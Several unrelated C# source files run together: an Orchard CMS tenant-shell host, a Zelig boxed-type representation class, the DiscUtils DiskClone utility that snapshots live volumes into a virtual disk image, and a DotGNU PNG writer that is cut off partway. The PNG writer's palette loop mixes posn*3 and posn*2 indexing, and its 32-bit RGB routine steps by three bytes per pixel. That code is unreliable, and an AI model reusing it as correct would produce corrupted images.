using System; using System.Linq; using System.Collections.Generic; using Orchard.Caching; using Orchard.Environment.Configuration; using Orchard.Environment.Extensions; using Orchard.Environment.ShellBuilders; using Orchard.Environment.State; using Orchard.Environment.Descriptor; using Orchard.Environment.Descriptor.Models; using Orchard.Localization; using Orchard.Logging; using Orchard.Utility.Extensions; namespace Orchard.Environment { public class DefaultOrchardHost : IOrchardHost, IShellSettingsManagerEventHandler, IShellDescriptorManagerEventHandler { private readonly IHostLocalRestart _hostLocalRestart; private readonly IShellSettingsManager _shellSettingsManager; private readonly IShellContextFactory _shellContextFactory; private readonly IRunningShellTable _runningShellTable; private readonly IProcessingEngine _processingEngine; private readonly IExtensionLoaderCoordinator _extensionLoaderCoordinator; private readonly IExtensionMonitoringCoordinator _extensionMonitoringCoordinator; private readonly ICacheManager _cacheManager; private readonly static object _syncLock = new object(); private IEnumerable<ShellContext> _shellContexts; private IEnumerable<ShellSettings> _tenantsToRestart; public DefaultOrchardHost( IShellSettingsManager shellSettingsManager, IShellContextFactory shellContextFactory, IRunningShellTable runningShellTable, IProcessingEngine processingEngine, IExtensionLoaderCoordinator extensionLoaderCoordinator, IExtensionMonitoringCoordinator extensionMonitoringCoordinator, ICacheManager cacheManager, IHostLocalRestart hostLocalRestart ) { _shellSettingsManager = shellSettingsManager; _shellContextFactory = shellContextFactory; _runningShellTable = runningShellTable; _processingEngine = processingEngine; _extensionLoaderCoordinator = extensionLoaderCoordinator; _extensionMonitoringCoordinator = extensionMonitoringCoordinator; _cacheManager = cacheManager; _hostLocalRestart = hostLocalRestart; _tenantsToRestart = Enumerable.Empty<ShellSettings>(); T = NullLocalizer.Instance; Logger = NullLogger.Instance; } public Localizer T { get; set; } public ILogger Logger { get; set; } public IList<ShellContext> Current { get { return BuildCurrent().ToReadOnlyCollection(); } } public ShellContext GetShellContext(ShellSettings shellSettings) { return BuildCurrent().SingleOrDefault(shellContext => shellContext.Settings.Name.Equals(shellSettings.Name)); } void IOrchardHost.Initialize() { Logger.Information("Initializing"); BuildCurrent(); Logger.Information("Initialized"); } void IOrchardHost.ReloadExtensions() { DisposeShellContext(); } void IOrchardHost.BeginRequest() { Logger.Debug("BeginRequest"); BeginRequest(); } void IOrchardHost.EndRequest() { Logger.Debug("EndRequest"); EndRequest(); } IWorkContextScope IOrchardHost.CreateStandaloneEnvironment(ShellSettings shellSettings) { Logger.Debug("Creating standalone environment for tenant {0}", shellSettings.Name); MonitorExtensions(); BuildCurrent(); var shellContext = CreateShellContext(shellSettings); return shellContext.LifetimeScope.CreateWorkContextScope(); } /// <summary> /// Ensures shells are activated, or re-activated if extensions have changed /// </summary> IEnumerable<ShellContext> BuildCurrent() { if (_shellContexts == null) { lock (_syncLock) { if (_shellContexts == null) { SetupExtensions(); MonitorExtensions(); CreateAndActivateShells(); } } } return _shellContexts; } void StartUpdatedShells() { lock (_syncLock) { if (_tenantsToRestart.Any()) { foreach (var settings in _tenantsToRestart.ToList()) { ActivateShell(settings); } _tenantsToRestart = Enumerable.Empty<ShellSettings>(); } } } void CreateAndActivateShells() { Logger.Information("Start creation of shells"); // is there any tenant right now ? var allSettings = _shellSettingsManager.LoadSettings().ToArray(); // load all tenants, and activate their shell if (allSettings.Any()) { foreach (var settings in allSettings) { try { var context = CreateShellContext(settings); ActivateShell(context); } catch(Exception e) { Logger.Error(e, "A tenant could not be started: " + settings.Name); } } } // no settings, run the Setup else { var setupContext = CreateSetupContext(); ActivateShell(setupContext); } Logger.Information("Done creating shells"); } /// <summary> /// Start a Shell and register its settings in RunningShellTable /// </summary> private void ActivateShell(ShellContext context) { Logger.Debug("Activating context for tenant {0}", context.Settings.Name); context.Shell.Activate(); _shellContexts = (_shellContexts ?? Enumerable.Empty<ShellContext>()) .Where(c => c.Settings.Name != context.Settings.Name) .Concat(new[] { context }) .ToArray(); _runningShellTable.Add(context.Settings); } ShellContext CreateSetupContext() { Logger.Debug("Creating shell context for root setup"); return _shellContextFactory.CreateSetupContext(new ShellSettings { Name = ShellSettings.DefaultName }); } ShellContext CreateShellContext(ShellSettings settings) { if (settings.State == TenantState.Uninitialized) { Logger.Debug("Creating shell context for tenant {0} setup", settings.Name); return _shellContextFactory.CreateSetupContext(settings); } Logger.Debug("Creating shell context for tenant {0}", settings.Name); return _shellContextFactory.CreateShellContext(settings); } private void SetupExtensions() { _extensionLoaderCoordinator.SetupExtensions(); } private void MonitorExtensions() { // This is a "fake" cache entry to allow the extension loader coordinator // notify us (by resetting _current to "null") when an extension has changed // on disk, and we need to reload new/updated extensions. _cacheManager.Get("OrchardHost_Extensions", ctx => { _extensionMonitoringCoordinator.MonitorExtensions(ctx.Monitor); _hostLocalRestart.Monitor(ctx.Monitor); DisposeShellContext(); return ""; }); } /// <summary> /// Terminates all active shell contexts, and dispose their scope, forcing /// them to be reloaded if necessary. /// </summary> private void DisposeShellContext() { Logger.Information("Disposing active shell contexts"); if (_shellContexts != null) { lock (_syncLock) { if (_shellContexts != null) { foreach (var shellContext in _shellContexts) { shellContext.Shell.Terminate(); shellContext.LifetimeScope.Dispose(); } } } _shellContexts = null; } } protected virtual void BeginRequest() { // Ensure all shell contexts are loaded, or need to be reloaded if // extensions have changed MonitorExtensions(); BuildCurrent(); StartUpdatedShells(); } protected virtual void EndRequest() { // Synchronously process all pending tasks. It's safe to do this at this point // of the pipeline, as the request transaction has been closed, so creating a new // environment and transaction for these tasks will behave as expected.) while (_processingEngine.AreTasksPending()) { _processingEngine.ExecuteNextTask(); } } /// <summary> /// Register and activate a new Shell when a tenant is created /// </summary> void IShellSettingsManagerEventHandler.Saved(ShellSettings settings) { lock (_syncLock) { // if a tenant has been altered, and is not invalid, reload it if (settings.State != TenantState.Invalid) { _tenantsToRestart = _tenantsToRestart .Where(x => x.Name != settings.Name) .Concat(new[] { settings }); } } } void ActivateShell(ShellSettings settings) { // look for the associated shell context var shellContext = _shellContexts.FirstOrDefault(c => c.Settings.Name == settings.Name); // is this is a new tenant ? or is it a tenant waiting for setup ? if (shellContext == null || settings.State == TenantState.Uninitialized) { // create the Shell var context = CreateShellContext(settings); // activate the Shell ActivateShell(context); } // reload the shell as its settings have changed else { // dispose previous context shellContext.Shell.Terminate(); shellContext.LifetimeScope.Dispose(); var context = _shellContextFactory.CreateShellContext(settings); // activate and register modified context _shellContexts = _shellContexts.Where(shell => shell.Settings.Name != settings.Name).Union(new[] { context }); context.Shell.Activate(); _runningShellTable.Update(settings); } } /// <summary> /// A feature is enabled/disabled /// </summary> void IShellDescriptorManagerEventHandler.Changed(ShellDescriptor descriptor, string tenant) { lock (_syncLock) { if (_shellContexts == null) { return; } var context =_shellContexts.FirstOrDefault(x => x.Settings.Name == tenant); // some shells might need to be started, e.g. created by command line if(context == null) { StartUpdatedShells(); context = _shellContexts.First(x => x.Settings.Name == tenant); } // don't flag the tenant if already listed if(_tenantsToRestart.Any(x => x.Name == tenant)) { return; } _tenantsToRestart = _tenantsToRestart .Concat(new[] { context.Settings }) .ToArray(); } } } }
// // Copyright (c) Microsoft Corporation. All rights reserved. // namespace Microsoft.Zelig.Runtime.TypeSystem { using System; using System.Collections.Generic; public sealed class BoxedValueTypeRepresentation : ReferenceTypeRepresentation { // // State // private TypeRepresentation m_valueType; // We need to use TypeRepresentation instead of ValueTypeRepresentation because we might need to box a delayed type. // // Constructor Methods // public BoxedValueTypeRepresentation( TypeRepresentation valueType ) : base( valueType.Owner, valueType.BuiltInType, valueType.Flags ) { m_valueType = valueType; var field = new InstanceFieldRepresentation(this, ".value", valueType); field.Offset = 0; AddField(field); } // // MetaDataEquality Methods // public override bool EqualsThroughEquivalence( object obj , EquivalenceSet set ) { if(obj is BoxedValueTypeRepresentation) { BoxedValueTypeRepresentation other = (BoxedValueTypeRepresentation)obj; return EqualsThroughEquivalence( m_valueType, other.m_valueType, set ); } return false; } public override bool Equals( object obj ) { return this.EqualsThroughEquivalence( obj, null ); } public override int GetHashCode() { return m_valueType.GetHashCode(); } //--// // // Helper Methods // protected override void PerformInnerDelayedTypeAnalysis( TypeSystem typeSystem , ref ConversionContext context ) { m_extends = m_valueType.Extends; } //--// public override void ApplyTransformation( TransformationContext context ) { context.Push( this ); // // Load before calling the base method, because we might get a call to GetHashCode(). // context.Transform( ref m_valueType ); base.ApplyTransformation( context ); context.Pop(); } //--// protected override TypeRepresentation AllocateInstantiation( InstantiationContext ic ) { TypeRepresentation valueType = ic.Instantiate( m_valueType ); // // When expanding box or unbox in the context of a generic method or type, we might need to box a delayed type. // At instantiation time, the delayed type might be resolved to a reference type. // if(valueType is ValueTypeRepresentation) { BoxedValueTypeRepresentation tdRes = new BoxedValueTypeRepresentation( valueType ); tdRes.PopulateInstantiation( this, ic ); return tdRes; } else { return valueType; } } //--// public override GCInfo.Kind ClassifyAsPointer() { return GCInfo.Kind.Internal; } // // Access Methods // public override TypeRepresentation ContainedType { get { return m_valueType; } } public override TypeRepresentation UnderlyingType { get { return m_valueType; } } public override bool IsOpenType { get { return m_valueType.IsOpenType; } } public override bool IsDelayedType { get { return m_valueType.IsDelayedType; } } public override StackEquivalentType StackEquivalentType { get { return StackEquivalentType.Object; } } //--// public override bool CanBeAssignedFrom( TypeRepresentation rvalue , EquivalenceSet set ) { if(this.EqualsThroughEquivalence( rvalue, set )) { return true; } if(rvalue is PointerTypeRepresentation) { // // Going from a byref to a boxed valuetype is OK. // return m_valueType.EqualsThroughEquivalence( rvalue.UnderlyingType, set ); } return m_valueType.CanBeAssignedFrom( rvalue, set ); } //--// // // Debug Methods // public override String ToString() { System.Text.StringBuilder sb = new System.Text.StringBuilder( "BoxedValueTypeRepresentation(" ); PrettyToString( sb, true, false ); sb.Append( ")" ); return sb.ToString(); } internal override void PrettyToString( System.Text.StringBuilder sb , bool fPrefix , bool fWithAbbreviations ) { sb.Append( "boxed " ); m_valueType.PrettyToString( sb, fPrefix, fWithAbbreviations ); } } }
// // Copyright (c) 2008-2011, Kenneth Bell // // Permission is hereby granted, free of charge, to any person obtaining a // copy of this software and associated documentation files (the "Software"), // to deal in the Software without restriction, including without limitation // the rights to use, copy, modify, merge, publish, distribute, sublicense, // and/or sell copies of the Software, and to permit persons to whom the // Software is furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER // DEALINGS IN THE SOFTWARE. // using System; using System.Collections.Generic; using System.IO; using System.Runtime.InteropServices; using System.Security.Principal; using DiscUtils; using DiscUtils.Common; using DiscUtils.Ntfs; using DiscUtils.Partitions; using DiscUtils.Streams; namespace DiskClone { class CloneVolume { public NativeMethods.DiskExtent SourceExtent; public string Path; public Guid SnapshotId; public VssSnapshotProperties SnapshotProperties; } class Program : ProgramBase { private CommandLineEnumSwitch<GeometryTranslation> _translation; private CommandLineMultiParameter _volumes; private CommandLineParameter _destDisk; static void Main(string[] args) { Program program = new Program(); program.Run(args); } protected override StandardSwitches DefineCommandLine(CommandLineParser parser) { _translation = new CommandLineEnumSwitch<GeometryTranslation>("t", "translation", "mode", GeometryTranslation.Auto,"Indicates the geometry adjustment to apply. Set this parameter to match the translation configured in the BIOS of the machine that will boot from the disk - auto should work in most cases for modern BIOS."); _volumes = new CommandLineMultiParameter("volume", "Volumes to clone. The volumes should all be on the same disk.", false); _destDisk = new CommandLineParameter("out_file", "Path to the output disk image.", false); parser.AddSwitch(_translation); parser.AddMultiParameter(_volumes); parser.AddParameter(_destDisk); return StandardSwitches.OutputFormatAndAdapterType; } protected override string[] HelpRemarks { get { return new string[] { "DiskClone clones a live disk into a virtual disk file. The volumes cloned must be formatted with NTFS, and partitioned using a conventional partition table.", "Only Windows 7 is supported.", "The tool must be run with administrator privilege." }; } } protected override void DoRun() { if (!IsAdministrator()) { Console.WriteLine("\nThis utility must be run as an administrator!\n"); Environment.Exit(1); } DiskImageBuilder builder = DiskImageBuilder.GetBuilder(OutputDiskType, OutputDiskVariant); builder.GenericAdapterType = AdapterType; string[] sourceVolume = _volumes.Values; uint diskNumber; List<CloneVolume> cloneVolumes = GatherVolumes(sourceVolume, out diskNumber); if (!Quiet) { Console.WriteLine("Inspecting Disk..."); } // Construct a stream representing the contents of the cloned disk. BiosPartitionedDiskBuilder contentBuilder; Geometry biosGeometry; Geometry ideGeometry; long capacity; using (Disk disk = new Disk(diskNumber)) { contentBuilder = new BiosPartitionedDiskBuilder(disk); biosGeometry = disk.BiosGeometry; ideGeometry = disk.Geometry; capacity = disk.Capacity; } // Preserve the IDE (aka Physical) geometry builder.Geometry = ideGeometry; // Translate the BIOS (aka Logical) geometry GeometryTranslation translation = _translation.EnumValue; if (builder.PreservesBiosGeometry && translation == GeometryTranslation.Auto) { // If the new format preserves BIOS geometry, then take no action if asked for 'auto' builder.BiosGeometry = biosGeometry; translation = GeometryTranslation.None; } else { builder.BiosGeometry = ideGeometry.TranslateToBios(0, translation); } if (translation != GeometryTranslation.None) { contentBuilder.UpdateBiosGeometry(builder.BiosGeometry); } IVssBackupComponents backupCmpnts; int status; if (Marshal.SizeOf(typeof(IntPtr)) == 4) { status = NativeMethods.CreateVssBackupComponents(out backupCmpnts); } else { status = NativeMethods.CreateVssBackupComponents64(out backupCmpnts); } Guid snapshotSetId = CreateSnapshotSet(cloneVolumes, backupCmpnts); if (!Quiet) { Console.Write("Copying Disk..."); } foreach (var sv in cloneVolumes) { Volume sourceVol = new Volume(sv.SnapshotProperties.SnapshotDeviceObject, sv.SourceExtent.ExtentLength); SnapshotStream rawVolStream = new SnapshotStream(sourceVol.Content, Ownership.None); rawVolStream.Snapshot(); byte[] volBitmap; int clusterSize; using (NtfsFileSystem ntfs = new NtfsFileSystem(rawVolStream)) { ntfs.NtfsOptions.HideSystemFiles = false; ntfs.NtfsOptions.HideHiddenFiles = false; ntfs.NtfsOptions.HideMetafiles = false; // Remove VSS snapshot files (can be very large) foreach (string filePath in ntfs.GetFiles(@"\System Volume Information", "*{3808876B-C176-4e48-B7AE-04046E6CC752}")) { ntfs.DeleteFile(filePath); } // Remove the page file if (ntfs.FileExists(@"\Pagefile.sys")) { ntfs.DeleteFile(@"\Pagefile.sys"); } // Remove the hibernation file if (ntfs.FileExists(@"\hiberfil.sys")) { ntfs.DeleteFile(@"\hiberfil.sys"); } using (Stream bitmapStream = ntfs.OpenFile(@"$Bitmap", FileMode.Open)) { volBitmap = new byte[bitmapStream.Length]; int totalRead = 0; int numRead = bitmapStream.Read(volBitmap, 0, volBitmap.Length - totalRead); while (numRead > 0) { totalRead += numRead; numRead = bitmapStream.Read(volBitmap, totalRead, volBitmap.Length - totalRead); } } clusterSize = (int)ntfs.ClusterSize; if (translation != GeometryTranslation.None) { ntfs.UpdateBiosGeometry(builder.BiosGeometry); } } List<StreamExtent> extents = new List<StreamExtent>(BitmapToRanges(volBitmap, clusterSize)); SparseStream partSourceStream = SparseStream.FromStream(rawVolStream, Ownership.None, extents); for (int i = 0; i < contentBuilder.PartitionTable.Partitions.Count; ++i) { var part = contentBuilder.PartitionTable.Partitions[i]; if (part.FirstSector * 512 == sv.SourceExtent.StartingOffset) { contentBuilder.SetPartitionContent(i, partSourceStream); } } } SparseStream contentStream = contentBuilder.Build(); // Write out the disk images string dir = Path.GetDirectoryName(_destDisk.Value); string file = Path.GetFileNameWithoutExtension(_destDisk.Value); builder.Content = contentStream; DiskImageFileSpecification[] fileSpecs = builder.Build(file); for (int i = 0; i < fileSpecs.Length; ++i) { // Construct the destination file path from the directory of the primary file. string outputPath = Path.Combine(dir, fileSpecs[i].Name); // Force the primary file to the be one from the command-line. if (i == 0) { outputPath = _destDisk.Value; } using (SparseStream vhdStream = fileSpecs[i].OpenStream()) using (FileStream fs = new FileStream(outputPath, FileMode.Create, FileAccess.ReadWrite)) { StreamPump pump = new StreamPump() { InputStream = vhdStream, OutputStream = fs, }; long totalBytes = 0; foreach (var se in vhdStream.Extents) { totalBytes += se.Length; } if (!Quiet) { Console.WriteLine(); DateTime now = DateTime.Now; pump.ProgressEvent += (o, e) => { ShowProgress(fileSpecs[i].Name, totalBytes, now, o, e); }; } pump.Run(); if (!Quiet) { Console.WriteLine(); } } } // Complete - tidy up CallAsyncMethod(backupCmpnts.BackupComplete); long numDeleteFailed; Guid deleteFailed; backupCmpnts.DeleteSnapshots(snapshotSetId, 2 /*VSS_OBJECT_SNAPSHOT_SET*/, true, out numDeleteFailed, out deleteFailed); Marshal.ReleaseComObject(backupCmpnts); } private static bool IsAdministrator() { WindowsPrincipal principal = new WindowsPrincipal(WindowsIdentity.GetCurrent()); return principal.IsInRole(WindowsBuiltInRole.Administrator); } private static IEnumerable<StreamExtent> BitmapToRanges(byte[] bitmap, int bytesPerCluster) { long numClusters = bitmap.Length * 8; long cluster = 0; while (cluster < numClusters && !IsSet(bitmap, cluster)) { ++cluster; } while (cluster < numClusters) { long startCluster = cluster; while (cluster < numClusters && IsSet(bitmap, cluster)) { ++cluster; } yield return new StreamExtent((long)(startCluster * (long)bytesPerCluster), (long)((cluster - startCluster) * (long)bytesPerCluster)); while (cluster < numClusters && !IsSet(bitmap, cluster)) { ++cluster; } } } private static bool IsSet(byte[] buffer, long bit) { int byteIdx = (int)(bit >> 3); if (byteIdx >= buffer.Length) { return false; } byte val = buffer[byteIdx]; byte mask = (byte)(1 << (int)(bit & 0x7)); return (val & mask) != 0; } private List<CloneVolume> GatherVolumes(string[] sourceVolume, out uint diskNumber) { diskNumber = uint.MaxValue; List<CloneVolume> cloneVolumes = new List<CloneVolume>(sourceVolume.Length); if (!Quiet) { Console.WriteLine("Inspecting Volumes..."); } for (int i = 0; i < sourceVolume.Length; ++i) { using (Volume vol = new Volume(sourceVolume[i], 0)) { NativeMethods.DiskExtent[] sourceExtents = vol.GetDiskExtents(); if (sourceExtents.Length > 1) { Console.Error.WriteLine("Volume '{0}' is made up of multiple extents, which is not supported", sourceVolume[i]); Environment.Exit(1); } if (diskNumber == uint.MaxValue) { diskNumber = sourceExtents[0].DiskNumber; } else if (diskNumber != sourceExtents[0].DiskNumber) { Console.Error.WriteLine("Specified volumes span multiple disks, which is not supported"); Environment.Exit(1); } string volPath = sourceVolume[i]; if (volPath[volPath.Length - 1] != '\\') { volPath += @"\"; } cloneVolumes.Add(new CloneVolume { Path = volPath, SourceExtent = sourceExtents[0] }); } } return cloneVolumes; } private Guid CreateSnapshotSet(List<CloneVolume> cloneVolumes, IVssBackupComponents backupCmpnts) { if (!Quiet) { Console.WriteLine("Snapshotting Volumes..."); } backupCmpnts.InitializeForBackup(null); backupCmpnts.SetContext(0 /* VSS_CTX_BACKUP */); backupCmpnts.SetBackupState(false, true, 5 /* VSS_BT_COPY */, false); CallAsyncMethod(backupCmpnts.GatherWriterMetadata); Guid snapshotSetId; try { backupCmpnts.StartSnapshotSet(out snapshotSetId); foreach (var vol in cloneVolumes) { backupCmpnts.AddToSnapshotSet(vol.Path, Guid.Empty, out vol.SnapshotId); } CallAsyncMethod(backupCmpnts.PrepareForBackup); CallAsyncMethod(backupCmpnts.DoSnapshotSet); } catch { backupCmpnts.AbortBackup(); throw; } foreach (var vol in cloneVolumes) { vol.SnapshotProperties = GetSnapshotProperties(backupCmpnts, vol.SnapshotId); } return snapshotSetId; } private static VssSnapshotProperties GetSnapshotProperties(IVssBackupComponents backupComponents, Guid snapshotId) { VssSnapshotProperties props = new VssSnapshotProperties(); IntPtr buffer = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(VssSnapshotProperties))); backupComponents.GetSnapshotProperties(snapshotId, buffer); Marshal.PtrToStructure(buffer, props); NativeMethods.VssFreeSnapshotProperties(buffer); return props; } private delegate void VssAsyncMethod(out IVssAsync result); private static void CallAsyncMethod(VssAsyncMethod method) { IVssAsync async; int reserved = 0; uint hResult; method(out async); async.Wait(60 * 1000); async.QueryStatus(out hResult, ref reserved); if (hResult != 0 && hResult != 0x0004230a /* VSS_S_ASYNC_FINISHED */) { Marshal.ThrowExceptionForHR((int)hResult); } } } }
/* * PngWriter.cs - Implementation of the "DotGNU.Images.PngWriter" class. * * Copyright (C) 2003 Southern Storm Software, Pty Ltd. * * This program is free software, you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY, without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program, if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ namespace DotGNU.Images { using System; using System.IO; using ICSharpCode.SharpZipLib.Checksums; using ICSharpCode.SharpZipLib.Zip.Compression; internal sealed class PngWriter { // Magic number header for PNG images. private static readonly byte[] magic = {137, 80, 78, 71, 13, 10, 26, 10}; // Save a PNG image to the specified stream. public static void Save(Stream stream, Image image) { Frame frame = image.GetFrame(0); byte[] buffer = new byte [1024]; ChunkWriter writer = new ChunkWriter(stream); int colorType, bitDepth; int sigRed, sigGreen, sigBlue, sigAlpha; int paletteSize, posn; int[] palette; ZlibCompressor compressor; ScanlineWriter scanlineWriter; OutputFunc func; int y; // Determine the color type and bit depth for the image. sigRed = -1; sigGreen = -1; sigBlue = -1; sigAlpha = -1; paletteSize = 0; switch(frame.PixelFormat) { case PixelFormat.Format16bppRgb555: { sigRed = 5; sigGreen = 5; sigBlue = 5; colorType = 2; bitDepth = 8; } break; case PixelFormat.Format16bppRgb565: { sigRed = 5; sigGreen = 6; sigBlue = 5; colorType = 2; bitDepth = 8; } break; case PixelFormat.Format24bppRgb: case PixelFormat.Format32bppRgb: { colorType = 2; bitDepth = 8; } break; case PixelFormat.Format1bppIndexed: { colorType = 3; bitDepth = 1; paletteSize = 2; } break; case PixelFormat.Format4bppIndexed: { colorType = 3; bitDepth = 4; paletteSize = 16; } break; case PixelFormat.Format8bppIndexed: { colorType = 3; bitDepth = 8; paletteSize = 256; } break; case PixelFormat.Format16bppArgb1555: { sigRed = 5; sigGreen = 5; sigBlue = 5; sigAlpha = 1; colorType = 6; bitDepth = 8; } break; case PixelFormat.Format32bppPArgb: case PixelFormat.Format32bppArgb: { colorType = 6; bitDepth = 8; } break; case PixelFormat.Format16bppGrayScale: { colorType = 0; bitDepth = 16; } break; case PixelFormat.Format48bppRgb: { colorType = 2; bitDepth = 16; } break; case PixelFormat.Format64bppPArgb: case PixelFormat.Format64bppArgb: { colorType = 6; bitDepth = 16; } break; default: throw new FormatException("unknown format"); } // Write out the PNG magic number. stream.Write(magic, 0, magic.Length); // Write the header chunk. Utils.WriteInt32B(buffer, 0, frame.Width); Utils.WriteInt32B(buffer, 4, frame.Height); buffer[8] = (byte)bitDepth; buffer[9] = (byte)colorType; buffer[10] = (byte)0; // Compression method. buffer[11] = (byte)0; // Filter method. buffer[12] = (byte)0; // Interlace method. writer.Write(PngReader.IHDR, buffer, 0, 13); // Write the significant bits chunk if necessary. if(sigAlpha != -1) { buffer[0] = (byte)sigRed; buffer[1] = (byte)sigGreen; buffer[2] = (byte)sigBlue; buffer[3] = (byte)sigAlpha; writer.Write(PngReader.sBIT, buffer, 0, 4); } else if(sigRed != -1) { buffer[0] = (byte)sigRed; buffer[1] = (byte)sigGreen; buffer[2] = (byte)sigBlue; writer.Write(PngReader.sBIT, buffer, 0, 3); } // Write the palette and transparency chunks. if(paletteSize > 0) { Array.Clear(buffer, 0, buffer.Length); palette = frame.Palette; if(palette != null) { for(posn = 0; posn < palette.Length && posn < paletteSize; ++posn) { buffer[posn * 3] = (byte)(palette[posn] >> 16); buffer[posn * 2 + 1] = (byte)(palette[posn] >> 8); buffer[posn * 2 + 2] = (byte)(palette[posn]); } } writer.Write(PngReader.PLTE, buffer, 0, paletteSize * 3); if(frame.TransparentPixel >= 0 && frame.TransparentPixel < paletteSize) { for(posn = 0; posn < paletteSize; ++posn) { buffer[posn] = (byte)0xFF; } buffer[frame.TransparentPixel] = (byte)0x00; writer.Write(PngReader.tRNS, buffer, 0, frame.TransparentPixel + 1); } } // Compress and write the scanlines to the output stream. compressor = new ZlibCompressor(writer); scanlineWriter = new ScanlineWriter (compressor, frame.Width, frame.PixelFormat); func = GetOutputFunc(frame.PixelFormat); for(y = 0; y < frame.Height; ++y) { func(frame, y, scanlineWriter.Buffer); scanlineWriter.FlushScanline(); } compressor.Finish(); // Write the end chunk. writer.Write(PngReader.IEND, buffer, 0, 0); } // Delegate type for scanline output functions. private delegate void OutputFunc(Frame frame, int y, byte[] scanline); // Get the scanline output function for a particular pixel format. private static OutputFunc GetOutputFunc(PixelFormat format) { OutputFunc func = null; switch(format) { case PixelFormat.Format16bppRgb555: { func = new OutputFunc(Rgb555); } break; case PixelFormat.Format16bppRgb565: { func = new OutputFunc(Rgb565); } break; case PixelFormat.Format24bppRgb: { func = new OutputFunc(Rgb24bpp); } break; case PixelFormat.Format32bppRgb: { func = new OutputFunc(Rgb32bpp); } break; case PixelFormat.Format1bppIndexed: { func = new OutputFunc(Indexed1bpp); } break; case PixelFormat.Format4bppIndexed: { func = new OutputFunc(Indexed4bpp); } break; case PixelFormat.Format8bppIndexed: { func = new OutputFunc(Indexed8bpp); } break; case PixelFormat.Format16bppArgb1555: { func = new OutputFunc(RgbAlpha555); } break; case PixelFormat.Format32bppPArgb: case PixelFormat.Format32bppArgb: { func = new OutputFunc(RgbAlpha32bpp); } break; case PixelFormat.Format16bppGrayScale: { func = new OutputFunc(GrayScale16bpp); } break; case PixelFormat.Format48bppRgb: { func = new OutputFunc(Rgb48bpp); } break; case PixelFormat.Format64bppPArgb: case PixelFormat.Format64bppArgb: { func = new OutputFunc(RgbAlpha64bpp); } break; } return func; } // Output RGB data in 15-bit 555 format. private static void Rgb555(Frame frame, int y, byte[] scanline) { int width = frame.Width; byte[] data = frame.Data; int posn, offset, value, component; offset = y * frame.Stride + width * 2; for(posn = (width - 1) * 3; posn >= 0; posn -= 3) { offset -= 2; value = data[offset] | (data[offset + 1] << 8); component = ((value >> 7) & 0xF8); scanline[posn] = (byte)(component | (component >> 5)); component = ((value >> 2) & 0xF8); scanline[posn + 1] = (byte)(component | (component >> 5)); component = ((value << 3) & 0xF8); scanline[posn + 2] = (byte)(component | (component >> 5)); } } // Output RGB data in 16-bit 565 format. private static void Rgb565(Frame frame, int y, byte[] scanline) { int width = frame.Width; byte[] data = frame.Data; int posn, offset, value, component; offset = y * frame.Stride + width * 2; for(posn = (width - 1) * 3; posn >= 0; posn -= 3) { offset -= 2; value = data[offset] | (data[offset + 1] << 8); component = ((value >> 8) & 0xF8); scanline[posn] = (byte)(component | (component >> 5)); component = ((value >> 3) & 0xFC); scanline[posn + 1] = (byte)(component | (component >> 6)); component = ((value << 3) & 0xF8); scanline[posn + 2] = (byte)(component | (component >> 5)); } } // Output RGB data in 15-bit 555 format with a 1-bit alpha channel. private static void RgbAlpha555(Frame frame, int y, byte[] scanline) { int width = frame.Width; byte[] data = frame.Data; int posn, offset, value, component; offset = y * frame.Stride + width * 2; for(posn = (width - 1) * 4; posn >= 0; posn -= 4) { offset -= 2; value = data[offset] | (data[offset + 1] << 8); component = ((value >> 7) & 0xF8); scanline[posn] = (byte)(component | (component >> 5)); component = ((value >> 2) & 0xF8); scanline[posn + 1] = (byte)(component | (component >> 5)); component = ((value << 3) & 0xF8); scanline[posn + 2] = (byte)(component | (component >> 5)); if((value & 0x8000) != 0) { scanline[posn + 3] = 0xFF; } else { scanline[posn + 3] = 0x00; } } } // Output 24-bit RGB data. private static void Rgb24bpp(Frame frame, int y, byte[] scanline) { int width = frame.Width; byte[] data = frame.Data; int posn, offset; offset = y * frame.Stride + width * 3; for(posn = (width - 1) * 3; posn >= 0; posn -= 3) { // Convert BGR data into RGB data. offset -= 3; scanline[posn] = data[offset + 2]; scanline[posn + 1] = data[offset + 1]; scanline[posn + 2] = data[offset]; } } // Output 32-bit RGB data. private static void Rgb32bpp(Frame frame, int y, byte[] scanline) { int width = frame.Width; byte[] data = frame.Data; int posn, offset; offset = y * frame.Stride + width * 3; for(posn = (width - 1) * 4; posn >= 0; posn -= 4) { // Convert BGR data into RGB data. offset -= 3; scanline[posn] = data[offset + 2]; scanline[posn + 1] = data[offset + 1]; scanline[posn + 2] = data[offset]; } } // Output 32-bit RGB data with an alpha channel. private static void RgbAlpha32bpp(Frame frame, int y, byte[] scanline) { int width = frame.Width; byte[] data = frame.Data; int posn, offset; offset = y * frame.Stride + width * 4; for(posn = (width - 1) * 4; posn >= 0; posn -= 4) { // Convert BGR data into RGB data. offset -= 4; scanline[posn] = data[offset + 2]; scanline[posn + 1] = data[offset + 1]; scanline[posn + 2] = data[offset]; scanline[posn + 3] = data[offset + 3]; } } // Output 48-bit RGB data. private static void Rgb48bpp(Frame frame, int y, byte[] scanline) { int width = frame.Width; byte[] data = frame.Data; int posn, offset; offset = y * frame.Stride + width * 6; for(posn = (width - 1) * 6; posn >= 0; posn -= 6) { // Convert BGR data into RGB data and byteswap. offset -= 6; scanline[posn] = data[offset + 5]; scanline[posn + 1] = data[offset + 4]; scanline[posn + 2] = data[offset + 3]; scanline[posn + 3] = data[offset + 2]; scanline[posn + 4] = data[offset + 1]; scanline[posn + 5] = data[offset]; } } // 